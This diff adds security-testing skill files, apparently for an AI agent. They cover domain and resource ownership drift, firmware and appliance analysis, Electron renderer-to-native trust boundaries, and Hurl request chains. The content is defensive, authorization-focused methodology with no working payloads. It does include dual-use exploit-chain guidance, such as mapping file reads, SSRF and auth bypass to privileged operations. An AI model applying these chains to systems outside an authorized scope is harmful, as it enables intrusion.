- Check current registrar/provider resource state through authoritative sources, including custom-domain binding and reservation rules.
|
||||
- Use historical DNS, CT, WHOIS/RDAP, package metadata, source history, and release timelines to establish ownership drift.
|
||||
- Identify wildcard/catch-all responses, parked domains, provider tombstones, and reused cloud IPs that mimic availability.
|
||||
- Compare vulnerable/current builds to learn whether the reference was removed, replaced, or cryptographically hardened. Record CAA, DNSSEC/DANE where relevant, certificate issuance/custom-host requirements, pinning, embedded trust stores, and independent content signatures.
|
||||
|
||||
Do not rely on an HTTP `404`, NXDOMAIN, or “NoSuchBucket” alone. Providers reserve names, enforce ownership verification, or return identical errors for owned/private resources.
|
||||
|
||||
### Live Consumer Confirmation
|
||||
|
||||
Within scope, observe a controlled consumer through:
|
||||
|
||||
- offline code/dataflow from trigger to request and response consumer
|
||||
- DNS/HTTP proxy logs in a lab
|
||||
- packet capture or process/network tracing during a normal test operation
|
||||
- a tester-owned canary endpoint configured through a supported setting
|
||||
- already-authorized sensor/sinkhole telemetry
|
||||
|
||||
Record request method/protocol, SNI/Host, headers, authentication, body data classification, retry cadence, TLS verification, and how the response is parsed or executed.
|
||||
|
||||
## Security Analysis
|
||||
|
||||
Ask in order:
|
||||
|
||||
1. Can ownership/control actually transfer to an unrelated party?
|
||||
2. Does an in-scope deployed consumer still resolve or contact it?
|
||||
3. What authenticity/integrity checks survive endpoint takeover?
|
||||
4. What response fields/content/protocol messages can the controller influence?
|
||||
5. Under what identity and privilege does the consumer process them?
|
||||
6. Is the trigger automatic, scheduled, administrative, user-driven, or update-only?
|
||||
7. What population and versions remain affected?
|
||||
8. What claimability level is proven, and is acquisition necessary for the remaining questions?
|
||||
9. Could acquisition receive out-of-scope traffic or data?
|
||||
10. Does this name serve several distinct consumers that require separate semantics and impact analysis?
|
||||
|
||||
High-impact patterns include:
|
||||
|
||||
- unsigned or weakly verified update/package content processed with system/administrator privilege
|
||||
- JavaScript loaded under a trusted web origin or CSP allowlist
|
||||
- mail/recovery/identity messages delivered to a re-registered domain
|
||||
- secrets or device metadata automatically sent to a reassigned endpoint
|
||||
- trusted control/telemetry responses parsed as commands, config, templates, or executable content
|
||||
- CA/domain verification, service discovery, or protocol logic depending on mutable external ownership
|
||||
|
||||
## Passive Sensor and Sinkhole Handling
|
||||
|
||||
Operating a domain or provider resource that receives real third-party traffic is a separate data-handling activity, not ordinary proof-of-concept hosting. Before enabling it, define:
|
||||
|
||||
- written authorization and legal/privacy owner
|
||||
- accepted protocols and non-interaction policy
|
||||
- collection minimization, encryption, access control, retention, deletion, and redaction
|
||||
- handling for credentials, personal data, malware, or out-of-scope victims
|
||||
- notification/escalation and provider/registrar coordination
|
||||
- prohibition on commands, authentication attempts, payload delivery, or use of received secrets
|
||||
|
||||
Prefer aggregate metadata or a unique tester-controlled canary. Do not deliberately expose a genuinely vulnerable product to collect wild exploitation without separate deployment authorization and containment review.
|
||||
|
||||
## Relationship to Other Skills
|
||||
|
||||
- Load `subdomain_takeover` for dangling DNS records or custom-domain provider bindings. Ordinary expiration/re-registration of a registrable domain, MX identity, or embedded software endpoint remains in this skill.
|
||||
- Load `appliance_firmware` for embedded endpoints, updater scripts, and installed-version prevalence.
|
||||
- Load `source_aware_sast` for targeted source/dataflow confirmation; string presence does not prove current ownership or live consumption.
|
||||
- Load `agentic_system_security` only when the endpoint supplies or controls AI skills, plugins, MCP/model adapters, tool definitions, or effective agent authority.
|
||||
- Load `semantic_confusion` only when a security decision and privileged consumer use different endpoint/package/alias representations or resolution results. Pure temporal ownership drift does not require it.
|
||||
|
||||
## Validation Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. exact consumer artifact/version/deployment and reference location
|
||||
2. full DNS/provider/package resolution and current ownership evidence
|
||||
3. historical ownership/decommission timeline
|
||||
4. live or source-confirmed request trigger and accepted response semantics
|
||||
5. TLS/signature/hash/authentication behavior
|
||||
6. consumer privilege, affected population, and configuration prerequisites
|
||||
7. controlled ownership/canary evidence where authorized
|
||||
8. highest claimability level and confidence in live-consumer/prevalence evidence
|
||||
9. sensor/data-handling authorization when acquisition could receive existing traffic
|
||||
10. separate impact analysis for each mail, identity, update, telemetry, code, or control consumer
|
||||
11. remediation across both the endpoint and every retained consumer
|
||||
|
||||
## Common False Positives
|
||||
|
||||
- NXDOMAIN/provider tombstone with a name that cannot be registered or bound.
|
||||
- A hardcoded URL present only in dead code, examples, tests, or an undeployed version.
|
||||
- Live requests go to a vendor-controlled wildcard/catch-all despite an apparently missing specific resource.
|
||||
- Update content is independently signed and the reassigned endpoint cannot produce an accepted artifact; this usually blocks forged-code impact, but metadata exposure, update suppression, unsigned manifest fields, and rollback/version behavior still require analysis.
|
||||
- Expired domain appears in documentation but is absent from authentication, mail, software, and deployed configuration.
|
||||
- A package name is unregistered but the consumer is pinned to a private registry with no public fallback, the scope is routed by `.npmrc`, or the command is already satisfied by a locally installed binary.
|
||||
- The name is unregistered but registry policy, reservation, dispute, or unpublish state prevents the contested registration.
|
||||
- Inbound sensor traffic cannot be attributed to an in-scope consumer/version.
|
||||
|
||||
## Remediation
|
||||
|
||||
- Remove or replace references in every supported and still-deployed version.
|
||||
- Retain defensive ownership of externally embedded domains/resource names for the consumer's realistic lifetime.
|
||||
- Sign update/config/package content with independently managed, rotatable keys and enforce rollback/version policy.
|
||||
- Eliminate implicit public fallback; pin registries, publishers, hashes, and plugin identities.
|
||||
- Inventory domain/MX/provider/package dependencies in decommission workflows and continuous monitoring.
|
||||
- Revoke old credentials/tokens, rotate trust, and provide a migration/kill-switch path for stranded clients.
|
||||
- Monitor DNS, CT, registrar, provider binding, package namespace, and live outbound traffic for ownership drift.
|
||||
|
||||
## Summary
|
||||
|
||||
External names are long-lived security dependencies. Track every consumer to its current controller, prove that deployed software still trusts the endpoint, analyze the authenticity checks and processing privilege, and manage ownership for as long as any supported or abandoned client can call home.
|
||||
@@ -0,0 +1,253 @@
|
||||
---
|
||||
name: appliance-firmware
|
||||
description: Security analysis of appliances and firmware through artifact provenance, safe extraction, root filesystem and runtime mapping, listener and trust-boundary inventory, patch comparison, managed/native code triage, hardware constraints, and isolated device validation
|
||||
---
|
||||
|
||||
# Appliance and Firmware Analysis
|
||||
|
||||
Use this skill for VPNs, firewalls, storage/backup systems, management appliances, embedded products, virtual appliances, and other packaged systems where security behavior is split across firmware, web-server configuration, native daemons, scripts, managed services, generated state, and hardware-specific runtime details.
|
||||
|
||||
Appliance research is architecture research. The public web UI is only one entry point; auxiliary listeners, localhost APIs, sidecars, support agents, update services, telemetry jobs, package installers, and product-native administration features often carry equal or greater authority.
|
||||
|
||||
## Build and Artifact Matrix
|
||||
|
||||
Record before comparing anything:
|
||||
|
||||
| Dimension | Examples |
|
||||
|---|---|
|
||||
| Product | model/SKU, physical/virtual/cloud image, edition/license |
|
||||
| Software | marketing version, build/revision, branch, hotfix, package set |
|
||||
| Platform | architecture, endian, kernel, libc, bootloader, filesystem |
|
||||
| Install state | factory image, upgraded system, migrated config, retained files |
|
||||
| Configuration | feature flags, listeners, authentication mode, HA/cluster role |
|
||||
| Artifact source | vendor download, updater, installed disk, backup, marketplace |
|
||||
| Update form | full image, delta package, component hotfix, rollback bundle |
|
||||
| Authenticity | signature/encryption state, certificate/key ID, manifest/base-version requirement |
|
||||
|
||||
Hash original artifacts and preserve acquisition metadata. A neighboring version from a different SKU, edition, architecture, or installation lineage can produce a convincing but irrelevant diff.
|
||||
|
||||
## Safe Extraction
|
||||
|
||||
Treat firmware and every embedded archive/filesystem as hostile input. Extract as an unprivileged user into a fresh writable quota-limited output directory with no network, bounded recursion/processes, and read-only input.
|
||||
|
||||
### unblob
|
||||
|
||||
[unblob](https://github.com/onekey-sec/unblob) provides recursive extraction plus structured metadata for many firmware/container/filesystem formats. Prefer a reviewed container image digest:
|
||||
|
||||
```bash
|
||||
appliance_out="$(mktemp -d)"
|
||||
docker run --rm --network none \
|
||||
--read-only --cap-drop ALL --security-opt no-new-privileges \
|
||||
--user "$(id -u):$(id -g)" --pids-limit 256 --memory 4g --cpus 2 \
|
||||
--tmpfs /tmp:rw,noexec,nosuid,size=512m \
|
||||
-v /path/to/input:/data/input:ro \
|
||||
-v "$appliance_out":/data/output \
|
||||
ghcr.io/onekey-sec/unblob@sha256:<reviewed-digest> \
|
||||
-e /data/output -d 6 -p 2 --report /data/output/unblob.json \
|
||||
/data/input/firmware.bin
|
||||
```
|
||||
|
||||
Create the output directory first and ensure it is writable by the chosen UID/GID; otherwise the host may create a root-owned mount point. Never extract over an existing analysis tree. Inspect symlinks, device nodes, archive paths, decompression ratios, and output size before interacting with the tree.
|
||||
|
||||
### diffoscope
|
||||
|
||||
Use [diffoscope](https://diffoscope.org/) for a recursive format-aware first comparison of vulnerable/fixed directories, packages, images, JARs, and executables:
|
||||
|
||||
```bash
|
||||
diffoscope --html diffoscope.html vulnerable-root/ fixed-root/
|
||||
```
|
||||
|
||||
Run it in an isolated reviewed container when processing hostile artifacts because it invokes many external format helpers. Use the first report to narrow files/config/packages rather than repeatedly expanding the entire image.
|
||||
|
||||
Use the unblob report and packaged filesystem metadata for ownership, mode, xattr, capability, and device-node claims; a host extraction run under your own UID can intentionally remap them. Do not mount an untrusted extracted filesystem or `chroot` into it on the analyst host.
|
||||
|
||||
## Filesystem and Boot Architecture
|
||||
|
||||
Inventory:
|
||||
|
||||
- partition table, bootloader, kernel, initramfs, SquashFS/UBIFS/ext filesystems
|
||||
- init system, service definitions, inetd/socket activation, rc scripts, supervisors, and watchdogs
|
||||
- read-only base image versus writable overlay, tmpfs, bind mounts, containers/chroots, and persistent data partitions
|
||||
- factory defaults, first-boot generation, upgrade/migration scripts, rollback slots, and retained legacy files
|
||||
- environment files, credentials, certificates, secrets, licenses, databases, sessions, caches, and backup/restore formats
|
||||
- cron/timers, log rotation, telemetry, diagnostics, update checks, package deployment, support bundles, and cleanup tasks
|
||||
- ownership, group membership, capabilities, setuid/setgid, ACLs, sudo/doas rules, device access, and IPC permissions
|
||||
|
||||
Static extracted files may not match runtime. Boot-time scripts can patch files, mount overlays, generate configs, copy certificates, activate routes, or replace binaries. Capture live filesystem/mount/process state when an apparently relevant change is absent from the disk image.
|
||||
|
||||
## Update and Installed-State Reconstruction
|
||||
|
||||
Before trusting a package or image diff, reconstruct how the device installs it:
|
||||
|
||||
- verify signature and manifest order, trust anchors, and whether integrity/authenticity checks cover the whole payload or only a wrapper
|
||||
- distinguish full image, delta update, component hotfix, and required base version
|
||||
- identify target partition, boot slot, rollback path, and anti-rollback/version checks
|
||||
- review pre/post-install hooks, migrations, symlink changes, permission/capability changes, and retained/generated state
|
||||
- map overlay, bind-mount, and generated-file precedence over the extracted rootfs
|
||||
- test fresh install versus upgraded and partially rolled-back states
|
||||
- reconcile package contents with hashes/build IDs from the actual running process and live filesystem
|
||||
|
||||
Record package-manager databases, shipped SBOM/manifests, bundled library copies, loader path, and `RPATH`/`RUNPATH` so you can distinguish a vulnerable library on disk from the library the running process actually maps.
|
||||
|
||||
## Listener and Service Map
|
||||
|
||||
Build a table for every network and local endpoint:
|
||||
|
||||
```text
|
||||
address/port/socket | transport/TLS | process | config/init source
|
||||
route/message type | authentication | authorization | privilege | feature/default
|
||||
```
|
||||
|
||||
Include:
|
||||
|
||||
- HTTP(S) UI/API, CGI/FastCGI, WebSocket, SOAP, SAML/OIDC, upload/download
|
||||
- SSH/SFTP, VPN/IKE, message queues, databases, backup/storage protocols
|
||||
- proprietary TLS/RPC, cluster/HA, device-manager, agent, and telemetry ports
|
||||
- loopback/Unix sockets, localhost APIs, sidecars, containers, and debug/support agents
|
||||
- outbound update/download endpoints and trusted remote control planes
|
||||
|
||||
For outbound updater, telemetry, licensing, or control-plane names, record authoritative DNS/ownership, TLS identity and pinning, proxy/fallback behavior, request data, failure behavior, manifest integrity, payload integrity, and rollback/version policy. Load `infrastructure_lifecycle` when the external domain, bucket, package, or provider resource can expire or be reassigned.
|
||||
|
||||
Map edge configuration to code: reverse-proxy rules, rewrites, location blocks, authentication modules, trusted client-IP headers, TLS client certificates, and backend socket selection. A handler can be patched while a new edge rule merely hides it—or vice versa.
|
||||
|
||||
## Trust and Authorization Boundaries
|
||||
|
||||
Trace:
|
||||
|
||||
```text
|
||||
external listener -> proxy/config -> router/dispatcher -> authentication
|
||||
-> parser -> privileged operation -> OS/service identity
|
||||
```
|
||||
|
||||
Test conceptual boundaries such as:
|
||||
|
||||
- public versus management interface
|
||||
- external versus localhost/sidecar trust
|
||||
- managed device versus manager/controller trust
|
||||
- cluster peer, certificate, flag, or registration state
|
||||
- web user versus OS/service/database authentication
|
||||
- direct route versus internal redirect/component dispatch
|
||||
- fresh install versus upgraded/retained installation state
|
||||
- optional feature disabled versus installed-but-reachable handler
|
||||
|
||||
Successful TCP/TLS/WebSocket negotiation proves transport reachability, not authenticated identity or authorization. Determine the actual privileged result and which server-side flag/session/role enabled it.
|
||||
|
||||
## Code and Configuration Triage
|
||||
|
||||
### Scripts and Configuration
|
||||
|
||||
- Trace Apache/nginx/lighttpd rules, CGI mappings, environment variables, and shell/Perl/Python/PHP scripts.
|
||||
- Search command construction beyond obvious shell metacharacters: arithmetic expansion, config files, response files, argument injection, newline/control characters, and third-party CLI parsing.
|
||||
- Inspect support/debug functions, backup/restore, package install, log/telemetry processors, custom tags/templates, and native admin command runners.
|
||||
- Compare configuration and init/upgrade changes alongside application code.
|
||||
|
||||
### Java/JVM and .NET
|
||||
|
||||
- Use [Vineflower](https://github.com/Vineflower/vineflower) for Java class/JAR reconstruction and `javap -c` to confirm ambiguous bytecode.
|
||||
- Use official [ILSpy/ilspycmd](https://github.com/icsharpcode/ILSpy) for .NET assemblies and inspect IL/metadata when reconstructed C# is ambiguous.
|
||||
- Do not build or run decompiler output, target assemblies/classes, bundled build scripts, or embedded resources in their associated target runtimes/viewers.
|
||||
- Diff class/resource inventories before decompiled text to separate compiler/obfuscator noise from semantic changes.
|
||||
|
||||
### Native Binaries
|
||||
|
||||
- Use official [Ghidra](https://github.com/NationalSecurityAgency/ghidra) for strings/imports/xrefs/decompilation and reproducible headless projects.
|
||||
- Use [BinDiff](https://github.com/google/bindiff) after manifest/package triage isolates the relevant native binaries, and keep the disassembler/BinExport version pair compatible across both sides.
|
||||
- Confirm changed length, auth, command, parser, and file-handling conditions in assembly/runtime; decompiler types and similarity scores are hypotheses.
|
||||
- Record architecture-specific calling convention, endian, alignment, libc, allocator, and mitigations.
|
||||
|
||||
Load `memory_corruption` for bounds/lifetime/disclosure findings and exploitability analysis. Load `protocol_reverse_engineering` for custom/stateful message formats.
|
||||
|
||||
## Version and Patch Analysis
|
||||
|
||||
Compare more than one adjacent pair when possible:
|
||||
|
||||
```text
|
||||
older unaffected/unknown -> vulnerable -> first fixed -> current
|
||||
```
|
||||
|
||||
- Build changed-file/package/config manifests first.
|
||||
- Identify the security invariant introduced by the patch.
|
||||
- Review every caller/sibling handler using the patched helper/parser.
|
||||
- Check branch backports and inconsistent fixes across SKUs/architectures.
|
||||
- Re-test the old structural condition on the fixed build and nearby routes.
|
||||
- Inspect boot/runtime overlays and upgrade scripts if static diff shows no meaningful change.
|
||||
- Distinguish one CVE from one code path; advisories may bundle several bugs or fix only the most exposed route.
|
||||
|
||||
Pair with `advisory_to_poc` for evidence classification, public-PoC decomposition, vulnerable/fixed controls, and detector handoff.
|
||||
|
||||
## Hardware, Virtualization, and Emulation
|
||||
|
||||
Record what the test environment omits:
|
||||
|
||||
- hardware security module/TPM/secure element and device-bound keys
|
||||
- NIC/accelerator/driver behavior, DMA, endian/alignment, and kernel modules
|
||||
- boot chain, secure boot, verified partitions, recovery mode, watchdog, and HA peer
|
||||
- model-specific memory, allocator pressure, process limits, and service configuration
|
||||
- virtual appliance differences from physical products
|
||||
|
||||
Full-system emulation can help recover routes and protocol behavior but often changes drivers, timing, entropy, memory layout, certificates, hardware identity, and mitigations. Treat emulation results as a separate platform and reproduce security-relevant behavior on the actual supported model when the claim depends on those properties.
|
||||
|
||||
Do not disable ASLR, canaries, signature checks, or other mitigations without labeling the resulting demonstration as lab-only and nonrepresentative of default exploitability.
|
||||
|
||||
## Physical-Lab Prerequisites
|
||||
|
||||
Have a recovery path before live-device work:
|
||||
|
||||
- console, serial, hypervisor, snapshot, or other known-good rollback method
|
||||
- exact in-scope image/build and a way to reapply it
|
||||
- isolated management network and controlled outbound connectivity
|
||||
- process or watchdog visibility and a safe way to capture one request at a time
|
||||
|
||||
## Runtime Observation
|
||||
|
||||
Within an authorized lab, collect:
|
||||
|
||||
- process tree, executable/build ID, argv, cwd, users/groups/capabilities, open ports/sockets/files, mounts, namespaces/containers
|
||||
- service logs, audit logs, core files, watchdog/restart events, and packet captures
|
||||
- loaded mappings/libraries, relevant Unix sockets/file descriptors, and config source while sending one known request
|
||||
- filesystem/process events while sending one known request
|
||||
- boot/upgrade output and live configuration generated from templates/databases
|
||||
|
||||
Prefer observation that explains a static hypothesis. Do not install intrusive agents or attach a debugger to production equipment.
|
||||
|
||||
## Capability and Chain Mapping
|
||||
|
||||
Treat findings as product-context primitives:
|
||||
|
||||
- file read → configs, sessions, credentials, tokens, keys, topology
|
||||
- SSRF/request → loopback APIs, sidecars, metadata, package agents
|
||||
- file write → web roots, plugins, templates, restore packages, jobs, telemetry inputs
|
||||
- auth bypass → support/admin command runners, package deployment, native operations
|
||||
- parser disclosure → session/token/pointer material
|
||||
- low-privilege identity → built-in management tools and trusted peer relationships
|
||||
|
||||
Inventory native product consumers before importing a generic exploit gadget. An appliance's normal backup, restore, diagnostic, package, scripting, or cluster function is frequently the shortest bridge between primitives.
|
||||
|
||||
## Deliverable
|
||||
|
||||
Include:
|
||||
|
||||
1. artifact provenance/hashes and complete SKU/version/platform/config matrix
|
||||
2. extraction method and filesystem/boot/runtime architecture
|
||||
3. listener/service/auth/trust-boundary map
|
||||
4. changed-file/config/package manifest and relevant code path
|
||||
5. external route/protocol through privileged operation and OS identity
|
||||
6. hardware/emulation/mitigation constraints
|
||||
7. vulnerable/fixed/negative-control behavior
|
||||
8. adjacent handlers/branches/install states reviewed
|
||||
9. tool versions, generated artifacts, and unresolved assumptions
|
||||
|
||||
## Common Errors
|
||||
|
||||
- Diffing different SKUs/architectures and attributing packaging noise to a security fix.
|
||||
- Assuming extracted rootfs equals live state despite overlays, generation, or boot-time patches.
|
||||
- Mapping only the web UI and missing auxiliary/custom/local listeners.
|
||||
- Treating a hidden route as removed or a blocked route as a patched sink.
|
||||
- Assuming fresh-install behavior covers upgraded systems with retained files/configuration.
|
||||
- Calling a service pre-auth because a connection succeeds before a privileged operation is attempted.
|
||||
- Treating emulator-only behavior or disabled mitigations as representative of a shipping device.
|
||||
- Running an analyzed binary, extension, build script, or firmware helper on the analyst host.
|
||||
|
||||
## Summary
|
||||
|
||||
Appliances are integrated systems, not single applications. Preserve artifact lineage, extract safely, map boot/runtime state and every listener, trace edge configuration into code and privileged native features, compare fixes across branches and install states, and keep hardware/platform constraints attached to every finding.
|
||||
@@ -0,0 +1,181 @@
|
||||
---
|
||||
name: electron-desktop-apps
|
||||
description: Test Electron desktop applications across renderer, preload, IPC, main-process, navigation, custom-protocol, storage, permission, and update trust boundaries; use for packaged Electron apps, ASAR review, web-to-native capability analysis, and Electron-specific exploit chains
|
||||
---
|
||||
|
||||
# Electron Desktop Applications
|
||||
|
||||
Use this skill for Electron applications. Other webview desktop frameworks may share the high-level web-to-native trust question, but their bridge, sandbox, update, and process APIs differ; do not apply Electron-specific conclusions to NW.js, CEF, Tauri, or Wails without mapping that framework separately.
|
||||
|
||||
Pair this skill with `browser_security` for browser state and navigation, `xss` for renderer injection, `argument_injection` for native subprocess launches, and `insecure_deserialization` or `rce` for a main-process sink.
|
||||
|
||||
## Architecture and Authority Map
|
||||
|
||||
Inventory each security principal and the capabilities crossing between them:
|
||||
|
||||
```text
|
||||
origin + document + frame
|
||||
-> renderer JavaScript
|
||||
-> preload isolated world
|
||||
-> contextBridge API
|
||||
-> IPC channel
|
||||
-> sender/argument/identity checks
|
||||
-> main process or utility process
|
||||
-> filesystem, process, credential, media, network, update, or OS action
|
||||
```
|
||||
|
||||
Record:
|
||||
|
||||
- Electron, Chromium, Node, and application versions
|
||||
- packaging form, `app.asar`, unpacked resources, entry point, and fuses
|
||||
- every `BrowserWindow`, `WebContentsView`, `<webview>`, session/partition, and child window
|
||||
- `webPreferences`: `preload`, `nodeIntegration`, `contextIsolation`, `sandbox`, `webSecurity`, `allowRunningInsecureContent`, experimental features, and subframe/worker integration
|
||||
- every preload export and every `ipcMain.handle`/`ipcMain.on` consumer
|
||||
- origins/documents/frames that can reach each exported API
|
||||
- custom protocols, deep links, navigation helpers, permissions, downloads, storage, and update channels
|
||||
|
||||
Do not infer authority from a setting or channel name alone. Follow one request from renderer input to the main-process side effect and record each authorization decision.
|
||||
|
||||
## Package and Source Reconnaissance
|
||||
|
||||
Extract the application bundle with a reviewed, version-pinned ASAR implementation or inspect an already unpacked `resources/app` tree. Locate `package.json#main`, preload paths, build metadata, Electron version, native modules, and update configuration.
|
||||
|
||||
Search for:
|
||||
|
||||
```text
|
||||
BrowserWindow WebContentsView webviewTag webPreferences
|
||||
preload contextBridge.exposeInMainWorld ipcRenderer
|
||||
ipcMain.handle ipcMain.on webContents.ipc
|
||||
will-navigate will-frame-navigate will-redirect
|
||||
setWindowOpenHandler loadURL loadFile openExternal
|
||||
setPermissionRequestHandler registerSchemesAsPrivileged
|
||||
setAsDefaultProtocolClient open-url second-instance
|
||||
autoUpdater electron-updater
|
||||
```
|
||||
|
||||
Treat decompiled or bundled JavaScript as a hypothesis when source maps, minification, generated IPC bindings, or runtime feature flags can change the installed behavior.
|
||||
|
||||
## Preload and Context-Bridge Analysis
|
||||
|
||||
A preload script has privileged Electron/Node access even when `nodeIntegration` is disabled. With context isolation, it can still expose selected functions and values into the page's main world.
|
||||
|
||||
Classify every export:
|
||||
|
||||
- narrow operation with fixed channel and validated arguments
|
||||
- caller-selected channel or event name
|
||||
- direct exposure of `ipcRenderer`, Node/Electron modules, filesystem/process objects, or mutable privileged objects
|
||||
- callback/event registration that leaks the raw IPC event or privileged objects
|
||||
- secret/session/storage access
|
||||
- operation whose authorization exists only in renderer JavaScript
|
||||
|
||||
A generic `send(channel, ...)` or `invoke(channel, ...)` bridge expands the renderer's candidate capability set, but the registered handler list is not the ACL. For each handler, inspect:
|
||||
|
||||
- `event.senderFrame` URL/origin and frame identity validation
|
||||
- expected `webContents`, window, session/partition, and application state
|
||||
- user/tenant authorization and request provenance
|
||||
- argument schema, paths, URLs, command options, and object deserialization
|
||||
- result exposure and event subscriptions
|
||||
|
||||
An IPC handler's existence does not prove an untrusted frame can invoke it successfully.
|
||||
|
||||
## Navigation and Window Boundaries
|
||||
|
||||
Web preferences belong to a `webContents`; navigation does not automatically turn a privileged window into an ordinary browser tab. A configured preload can run for newly loaded documents and expose its bridge to content that was never intended to receive it.
|
||||
|
||||
Map all navigation causes:
|
||||
|
||||
- user- or page-initiated main-frame navigation (`will-navigate`)
|
||||
- subframe navigation (`will-frame-navigate`)
|
||||
- server redirects (`will-redirect`)
|
||||
- new windows and popups (`setWindowOpenHandler`)
|
||||
- application calls to `loadURL`, `loadFile`, history APIs, or routing helpers
|
||||
- custom-protocol redirects and external-link handlers
|
||||
|
||||
`will-navigate` does not cover every programmatic navigation, so the event's presence is not complete enforcement.
|
||||
|
||||
Parse candidate URLs with `URL` and compare explicit protocol, origin/host, port, and path rules. Do not use string-prefix checks such as `startsWith("https://trusted.example")`. Apply the same canonical policy to initial loads, redirects, frames, popups, programmatic loads, and externally opened URLs.
|
||||
|
||||
Before calling `shell.openExternal`, validate the scheme and complete destination expected by the feature. Treat `file:`, custom schemes, handler-specific arguments, credentials in URLs, and ambiguous encodings as separate cases.
|
||||
|
||||
## Node, Isolation, and Sandbox Settings
|
||||
|
||||
- `nodeIntegration: true` in a renderer that can execute untrusted script directly exposes Node capability and commonly turns renderer injection into native code execution.
|
||||
- `contextIsolation: false` weakens the boundary between page and preload worlds but is not, by itself, proof of native code execution.
|
||||
- `sandbox: false` removes Chromium process isolation; determine which preload or renderer capabilities become reachable rather than reporting the flag alone.
|
||||
- `webSecurity: false`, `allowRunningInsecureContent`, permissive experimental features, and unsafe `<webview>` preferences change separate browser boundaries and must be traced to an exploit path.
|
||||
- `nodeIntegrationInSubFrames` and preload injection into frames require frame-by-frame sender and origin analysis.
|
||||
|
||||
Record Electron-version defaults. A missing explicit setting can mean different behavior on different major releases.
|
||||
|
||||
## Custom Protocols and Deep Links
|
||||
|
||||
Treat OS-delivered URLs and second-instance command lines as attacker-controlled inputs:
|
||||
|
||||
```text
|
||||
OS handler / browser / document
|
||||
-> custom scheme or argv
|
||||
-> URL/argument parsing
|
||||
-> application router
|
||||
-> renderer navigation or native operation
|
||||
```
|
||||
|
||||
Test authority and parser boundaries for host/path normalization, duplicate parameters, encoding depth, file paths, option injection, and cross-profile/account routing. Confirm which application instance and user session receives the event.
|
||||
|
||||
For custom application protocols, record whether the scheme is registered as secure, standard, CORS-enabled, stream-capable, or privileged, and how that affects origin and storage behavior.
|
||||
|
||||
## Permissions, Storage, and Secrets
|
||||
|
||||
Map session permission handlers for media, notifications, geolocation, clipboard, display capture, USB/HID/serial, filesystem access, and external protocols. Verify decisions use the requesting frame/origin and cannot be inherited from a more trusted window.
|
||||
|
||||
Inventory secrets and capability-bearing state reachable from renderer or preload code:
|
||||
|
||||
- tokens, cookies, session identifiers, recovery material, and encryption keys
|
||||
- IndexedDB, local/session storage, cookies, cache, filesystem databases, and keychain wrappers
|
||||
- local service ports, named pipes, Unix sockets, and authentication material
|
||||
|
||||
At-rest encryption does not protect data when the renderer can retrieve the key or ask a privileged bridge to decrypt it.
|
||||
|
||||
## Updates and Native Extensions
|
||||
|
||||
Trace the update pipeline as an executable supply chain:
|
||||
|
||||
- feed URL and channel selection
|
||||
- TLS identity, redirects, proxy behavior, and metadata parsing
|
||||
- artifact signature and publisher verification
|
||||
- version/rollback policy and staged update state
|
||||
- native modules, helper binaries, installers, and post-update hooks
|
||||
|
||||
An attacker-controlled feed is not automatically native code execution if independent artifact signatures are mandatory. Conversely, HTTPS does not compensate for missing artifact authenticity or unsafe rollback behavior.
|
||||
|
||||
## Validation
|
||||
|
||||
- Record the exact installed build, Electron version, preferences, preload, handler, and current document/frame origin.
|
||||
- Demonstrate the complete path from attacker-controlled input or renderer state to the main-process operation.
|
||||
- Capture sender-validation and argument-validation outcomes, not only successful IPC transport.
|
||||
- Re-test after cross-origin navigation, redirect, frame creation, window creation, and session/profile changes.
|
||||
- Separate renderer script execution, bridge access, accepted IPC, privileged data access, filesystem/process control, and native code execution.
|
||||
|
||||
## False Positives
|
||||
|
||||
- A preload or handler exists but the tested document/frame cannot reach it.
|
||||
- A channel is registered but rejects the sender, identity, state, or arguments.
|
||||
- `contextIsolation` or sandboxing is disabled without a reachable privileged API.
|
||||
- Navigation is blocked on user links but still possible through application code, or vice versa.
|
||||
- A remote page has no preload export, Node integration, IPC route, or privileged permission.
|
||||
- An update feed is mutable but every artifact and version transition is independently authenticated.
|
||||
- A secret-looking value is scoped to synthetic/test data or cannot authorize any downstream action.
|
||||
|
||||
## Remediation
|
||||
|
||||
- Load local application UI and isolate remote content in an unprivileged `WebContentsView` or external browser.
|
||||
- Keep Node integration disabled, context isolation enabled, and renderer sandboxing enabled.
|
||||
- Expose narrow preload APIs with fixed operations and strict schemas.
|
||||
- Validate every IPC sender frame, application identity, authorization context, and argument in the main process.
|
||||
- Parse and allowlist navigation destinations consistently across every navigation path.
|
||||
- Restrict permissions per session and requesting origin.
|
||||
- Keep credentials and encryption keys outside renderer reach.
|
||||
- Authenticate update metadata and artifacts, enforce rollback policy, and pin publishers.
|
||||
|
||||
## Summary
|
||||
|
||||
Electron security depends on which document and frame can reach which native capability. Map navigation, preload exports, IPC sender checks, permissions, storage, protocols, and updates as one authority graph, then validate the entire path to the privileged operation.
|
||||
@@ -0,0 +1,99 @@
|
||||
---
|
||||
name: hurl
|
||||
description: Reproducible, reviewable HTTP request chains and response assertions with Hurl for authorized multi-step security validation, vulnerable-versus-fixed regression cases, captured values, and low-rate semantic oracles
|
||||
---
|
||||
|
||||
# Hurl Security Regression Playbook
|
||||
|
||||
Use [Hurl](https://hurl.dev/) when a security proof requires an ordered HTTP session whose requests, captured values, and assertions should be code-reviewed and replayed. It is well suited to authentication flows, redirects, cookies, CSRF tokens, upload lifecycles, patch regression, and paired semantic-differential cases.
|
||||
|
||||
Hurl sends exactly what the file describes. It does not make state-changing requests safe. Review scope, methods, targets, and captured secrets before every run.
|
||||
|
||||
## Install
|
||||
|
||||
Prefer an official release binary or package. On macOS:
|
||||
|
||||
```bash
|
||||
brew install hurl
|
||||
hurl --version
|
||||
```
|
||||
|
||||
Official alternatives include release packages and `cargo install --locked hurl`; see [installation](https://hurl.dev/docs/installation.html). Record the tool version with results.
|
||||
|
||||
## Minimal Chain
|
||||
|
||||
```hurl
|
||||
# lab-regression.hurl
|
||||
GET {{base_url}}/session
|
||||
HTTP 200
|
||||
[Captures]
|
||||
csrf: xpath "string(//input[@name='csrf']/@value)"
|
||||
[Asserts]
|
||||
header "Content-Type" startsWith "text/html"
|
||||
|
||||
POST {{base_url}}/action
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
[FormParams]
|
||||
csrf: {{csrf}}
|
||||
operation: noop
|
||||
HTTP 204
|
||||
```
|
||||
|
||||
Hurl keeps cookies across requests in the same file, so an explicit `Cookie` header is unnecessary here.
|
||||
|
||||
Run one reviewed case against one authorized target first:
|
||||
|
||||
```bash
|
||||
hurl --test --jobs 1 --connect-timeout 5s --max-time 15s \
|
||||
--variable base_url=https://lab.example lab-regression.hurl
|
||||
